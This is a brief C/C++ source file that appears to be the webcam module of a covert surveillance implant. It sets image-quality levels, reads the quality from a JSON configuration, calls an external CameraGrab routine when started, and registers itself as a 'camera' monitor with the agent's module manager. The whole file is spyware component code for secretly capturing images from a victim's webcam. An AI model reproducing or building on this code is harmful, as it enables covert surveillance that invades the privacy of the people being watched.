extern void CameraGrab(DWORD quality);

#define CAM_IMG_QUALITY_LOW 10
#define CAM_IMG_QUALITY_MED 50
#define CAM_IMG_QUALITY_HI 100

DWORD cam_image_quality = CAM_IMG_QUALITY_MED;

DWORD __stdcall PM_WebCamStartStop(BOOL bStartFlag, BOOL bReset)
{
	if (bStartFlag && bReset) 
		CameraGrab(cam_image_quality);

	return 1;
}

DWORD __stdcall PM_WebCamInit(JSONObject elem)
{
	if (!wcscmp(elem[L"quality"]->AsString().c_str(), L"hi") ) {
		cam_image_quality = CAM_IMG_QUALITY_HI; 
	} else if (!wcscmp(elem[L"quality"]->AsString().c_str(), L"med") ) {
		cam_image_quality = CAM_IMG_QUALITY_MED;
	} else { 
		cam_image_quality = CAM_IMG_QUALITY_LOW;
	}

	return 1;
}

void PM_WebCamRegister()
{
	AM_MonitorRegister(L"camera", PM_WEBCAMAGENT, NULL, (BYTE *)PM_WebCamStartStop, (BYTE *)PM_WebCamInit, NULL);
}